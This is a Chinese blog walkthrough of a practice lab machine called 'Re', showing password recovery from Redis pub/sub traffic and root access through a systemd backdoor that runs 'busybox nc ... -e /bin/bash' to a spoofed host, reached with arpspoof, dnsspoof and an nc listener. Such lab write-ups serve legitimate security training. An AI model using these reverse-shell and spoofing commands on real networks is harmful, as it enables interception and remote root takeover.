news 2026/4/28 16:59:53

群友靶机--Re

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
群友靶机--Re

title: ‘群友靶机–Re’
date: 2026-03-25 01:10:52
categories: 靶机复现
tags:

  • 靶机复现
  • wp
  • 群友靶机
    top_img: /img/top.jpg

Re

靶机名称: Re
作者:群主
靶机ID:619
难度: easy
靶机地址: https://maze-sec.com
靶机IP: 192.168.1.124
攻击机IP: 192.168.1.195(Kali Linux)

user

user直接ssh就可以得到账号密码

┌──(root㉿Gropers)-[~] └─# ssh sublarge@192.168.1.124 __ __ ____ | \/ | __ _ _______ / ___| ___ ___ | |\/| |/ _` |_ / _ \____\___ \ / _ \/ __| | | | | (_| |/ / __/_____|__) | __/ (__ |_| |_|\__,_/___\___| |____/ \___|\___| username: sublarge password: ******** sublarge@192.168.1.124's password:

用户submini

ss -tulpn 发现靶机本地监听了 6379 (Redis) 端口

sublarge@Re:~$ ss -tulnp Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:* tcp LISTEN 0 128 127.0.0.1:6379 0.0.0.0:* tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* tcp LISTEN 0 128 [::1]:6379 [::]:* tcp LISTEN 0 128 *:80 *:* tcp LISTEN 0 128 [::]:22 [::]:*

进入 redis-cli 执行 MONITOR 命令, 截获到后台的 publisher.py 正在慢慢的向 chan5 频道广播数据

拼凑出一个长度为 20 位的字符串

sublarge@Re:~$ redis-cli 127.0.0.1:6379> MONITOR OK 1775050053.331070 [0 [::1]:34418] "PUBLISH" "chan5" "7" 1775050058.335378 [0 [::1]:34418] "PUBLISH" "chan5" "U" 1775050058.336169 [0 [::1]:49944] "PING" 1775050058.336266 [0 [::1]:49944] "PUBLISH" "chan5" "r" 1775050063.339469 [0 [::1]:49944] "PUBLISH" "chan5" "R" 1775050068.343068 [0 [::1]:49944] "PUBLISH" "chan5" "p" 1775050073.347848 [0 [::1]:49944] "PUBLISH" "chan5" "G" 1775050078.351404 [0 [::1]:49944] "PUBLISH" "chan5" "7" 1775050083.355365 [0 [::1]:49944] "PUBLISH" "chan5" "u" 1775050088.360359 [0 [::1]:49944] "PUBLISH" "chan5" "r" 1775050093.363254 [0 [::1]:49944] "PUBLISH" "chan5" "4" 1775050098.367301 [0 [::1]:49944] "PUBLISH" "chan5" "Z" 1775050103.371106 [0 [::1]:49944] "PUBLISH" "chan5" "p" 1775050108.375034 [0 [::1]:49944] "PUBLISH" "chan5" "z" 1775050113.379080 [0 [::1]:49944] "PUBLISH" "chan5" "G" 1775050118.382983 [0 [::1]:49944] "PUBLISH" "chan5" "7" 1775050123.387316 [0 [::1]:49944] "PUBLISH" "chan5" "Q" 1775050128.391071 [0 [::1]:49944] "PUBLISH" "chan5" "I" 1775050133.395326 [0 [::1]:49944] "PUBLISH" "chan5" "z" 1775050138.399519 [0 [::1]:49944] "PUBLISH" "chan5" "4" 1775050143.403189 [0 [::1]:49944] "PUBLISH" "chan5" "H" 1775050148.407298 [0 [::1]:49944] "PUBLISH" "chan5" "7" 1775050153.411495 [0 [::1]:49944] "PUBLISH" "chan5" "U" 1775050153.412481 [0 [::1]:49046] "PING" 1775050153.412592 [0 [::1]:49046] "PUBLISH" "chan5" "r"

这里可以通过ai得到完整的字符串是:rRpG7ur4ZpzG7QIz4H7U

也就是用户submini的密码

但是这里有一个出题人想要得到的点

就是不借助ai如何得到这串字符

正则

如果我们只订阅chan5就会得到乱序的字符串,且还需要提取出来

sublarge@Re:~$ redis-cli 127.0.0.1:6379> SUBSCRIBE chan5 Reading messages... (press Ctrl-C to quit) 1) "subscribe" 2) "chan5" 3) (integer) 1 1) "message" 2) "chan5" 3) "z" 1) "message" 2) "chan5" 3) "4" 1) "message" 2) "chan5" 3) "H" 1) "message" 2) "chan5" 3) "7" 1) "message" 2) "chan5" 3) "U" 1) "message" 2) "chan5" 3) "r" 1) "message" 2) "chan5" 3) "R" 1) "message" 2) "chan5" 3) "p" 1) "message" 2) "chan5" 3) "G" 1) "message" 2) "chan5" 3) "7" 1) "message" 2) "chan5" 3) "u" 1) "message" 2) "chan5" 3) "r" 1) "message" 2) "chan5" 3) "4" 1) "message" 2) "chan5" 3) "Z" 1) "message" 2) "chan5" 3) "p" 1) "message" 2) "chan5" 3) "z" 1) "message" 2) "chan5" 3) "G" 1) "message" 2) "chan5" 3) "7" 1) "message" 2) "chan5" 3) "Q" 1) "message" 2) "chan5" 3) "I" 1) "message" 2) "chan5" 3) "z" 1) "message" 2) "chan5" 3) "4" 1) "message" 2) "chan5" 3) "H" ^C sublarge@Re:~$

看到出现重复的输出就可以停止了

把这些出去重复的数据都提取出来统一放到文件a

通过输入 cat a|grep '数据特征' 来提取所需要的数据内容 ┌──(root㉿Gropers)-[~] └─# cat a|grep '3) "' 3) "z" 3) "4" 3) "H" 3) "7" 3) "U" 3) "r" 3) "R" 3) "p" 3) "G" 3) "7" 3) "u" 3) "r" 3) "4" 3) "Z" 3) "p" 3) "z" 3) "G" 3) "7" 3) "Q" 3) "I"

后面这则是指定输出第二行得到想要的数据

┌──(root㉿Gropers)-[~] └─# cat a|grep '3) "'|awk -F'"' '{printf $2}' z4H7UrRpG7ur4ZpzG7QI

bash中会默认输出换行符

就可以输入

cat a|grep '3) "'|awk -F'"' '{printf $2}END{print x}'

来达到删掉默认换行符的目的

纯正则表达式

cat a|grep -P '(?<=^3\) ").(?=")' -o

这是得到了乱序的密码字符

通过输入两倍的字符以及$i- $((i+19))算法的控制可以达到不同开头的目的

┌──(root㉿Gropers)-[~] └─# for i in {1..20};do echo z4H7UrRpG7ur4ZpzG7QIz4H7UrRpG7ur4ZpzG7QI|cut -c $i-$((i+19));done > pass.txt
┌──(root㉿Gropers)-[~] └─# cat pass.txt z4H7UrRpG7ur4ZpzG7QI 4H7UrRpG7ur4ZpzG7QIz H7UrRpG7ur4ZpzG7QIz4 7UrRpG7ur4ZpzG7QIz4H UrRpG7ur4ZpzG7QIz4H7 rRpG7ur4ZpzG7QIz4H7U RpG7ur4ZpzG7QIz4H7Ur pG7ur4ZpzG7QIz4H7UrR G7ur4ZpzG7QIz4H7UrRp 7ur4ZpzG7QIz4H7UrRpG ur4ZpzG7QIz4H7UrRpG7 r4ZpzG7QIz4H7UrRpG7u 4ZpzG7QIz4H7UrRpG7ur ZpzG7QIz4H7UrRpG7ur4 pzG7QIz4H7UrRpG7ur4Z zG7QIz4H7UrRpG7ur4Zp G7QIz4H7UrRpG7ur4Zpz 7QIz4H7UrRpG7ur4ZpzG QIz4H7UrRpG7ur4ZpzG7 Iz4H7UrRpG7ur4ZpzG7Q

最终爆破得到了正确的密码

root

从群友(mooi)wp那得到的完整思路

1. Redis 宕机 -> 2. publisher.py 报错崩溃 -> 3. Systemd 触发 Root 后门 -> 4. 靶机 查询 DNS -> 5. Kali 伪造解析并接收反弹连接。

查看/usr/local/bin/publisher.py文件后发现:如果连接 Redis 失败( redis.ConnectionError ),脚 本会直接执行 sys.exit(1) 崩溃退出。

猜测它是Systemd 管理的服务,找一下它的配置文件

/etc/systemd/system/redis-publisher.service

发现留了一个后门

submini@Re:/etc/systemd/system$ cat redis-publisher.service ...... ExecStopPost=/bin/bash -c '/usr/bin/busybox nc dev.warning.dsz 1234 -e /bin/bash' ......

只要能让该服务停止或崩溃,系统就会自动以 Root 权限向 dev.warning.dsz 的 1234 端口发起反弹 Shell!

局部网络劫持 (ARP & DNS Spoofing)

这个操作的最终目的就是为了让靶机认为 Kali 的 IP 就是 dev.warning.dsz 这个域名的真实归属地

这个操作一共需要kali上开启三个终端

终端A: ┌──(root㉿Gropers)-[~] └─# vim fake_dns.txt ┌──(root㉿Gropers)-[~] └─# cat fake_dns.txt 192.168.1.195 dev.warning.dsz ┌──(root㉿Gropers)-[~] └─# sudo dnsspoof -i eth0 -f fake_dns.txt dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.195]
终端B: ┌──(root㉿Gropers)-[~] └─# sudo arpspoof -i eth0 -t 192.168.1.124 192.168.1.1 0:c:29:ee:66:e3 8:0:27:f6:43:fe 0806 42: arp reply 192.168.1.1 is-at 0:c:29:ee:66:e3
终端C: ┌──(root㉿Gropers)-[~] └─# nc -lvnp 1234 listening on [any] 1234 ...

同时在靶机的submini用户终端直接对 Redis 服务下达停止指令(加上 nosave 防止因权限 不足导致的关机失败):

redis-cli shutdown nosave

执行后等待重启就可以发现成功反弹shell

但是要注意因为会再次重启,shell会断开连接,只要再次对 Redis 服务下达停止指令就可以再次获得shell。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/28 16:58:52

ncmdump终极指南:3步解锁网易云音乐加密文件,重获音乐自由

ncmdump终极指南&#xff1a;3步解锁网易云音乐加密文件&#xff0c;重获音乐自由 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他设备播放而烦恼吗&#xff1f;ncmdump这款开源解密工具…

作者头像 李华
网站建设 2026/4/28 16:57:21

打破音乐付费墙:MoeKoeMusic如何让你免费畅享VIP音乐体验

打破音乐付费墙&#xff1a;MoeKoeMusic如何让你免费畅享VIP音乐体验 【免费下载链接】MoeKoeMusic 一款开源简洁高颜值的酷狗第三方客户端 An open-source, concise, and aesthetically pleasing third-party client for KuGou that supports Windows / macOS / Linux / Web :…

作者头像 李华
网站建设 2026/4/28 16:56:23

PyTorch 基础知识点汇总

这篇笔记是 PyTorch 基础点&#xff0c;还有自己写代码时容易卡壳的地方整理了一下。主要包含 Tensor 操作、自动求导逻辑、线性回归模型构建、以及 GPU 环境切换。1. Tensor&#xff08;张量&#xff09;基础操作Tensor 是 PyTorch 最核心的数据格式。咱们平时处理图像或者文本…

作者头像 李华
网站建设 2026/4/28 16:48:26

如何快速生成Beyond Compare 5密钥:完整激活指南与实用工具

如何快速生成Beyond Compare 5密钥&#xff1a;完整激活指南与实用工具 【免费下载链接】BCompare_Keygen Keygen for BCompare 5 项目地址: https://gitcode.com/gh_mirrors/bc/BCompare_Keygen 您是否正在寻找Beyond Compare 5的激活解决方案&#xff1f;当这款强大的…

作者头像 李华
网站建设 2026/4/28 16:47:40

OpCore Simplify:突破性OpenCore EFI自动化配置工具深度解析

OpCore Simplify&#xff1a;突破性OpenCore EFI自动化配置工具深度解析 【免费下载链接】OpCore-Simplify A tool designed to simplify the creation of OpenCore EFI 项目地址: https://gitcode.com/GitHub_Trending/op/OpCore-Simplify 在传统黑苹果安装过程中&…

作者头像 李华
网站建设 2026/4/28 16:44:30

用RandLA-Net处理S3DIS数据集:从原始点云到6折交叉验证的完整实战解析

用RandLA-Net处理S3DIS数据集&#xff1a;从原始点云到6折交叉验证的完整实战解析 在三维点云语义分割领域&#xff0c;S3DIS数据集作为室内场景的标杆性基准&#xff0c;常被用于验证算法性能。RandLA-Net凭借其高效的随机降采样和局部特征聚合机制&#xff0c;成为处理大规模…

作者头像 李华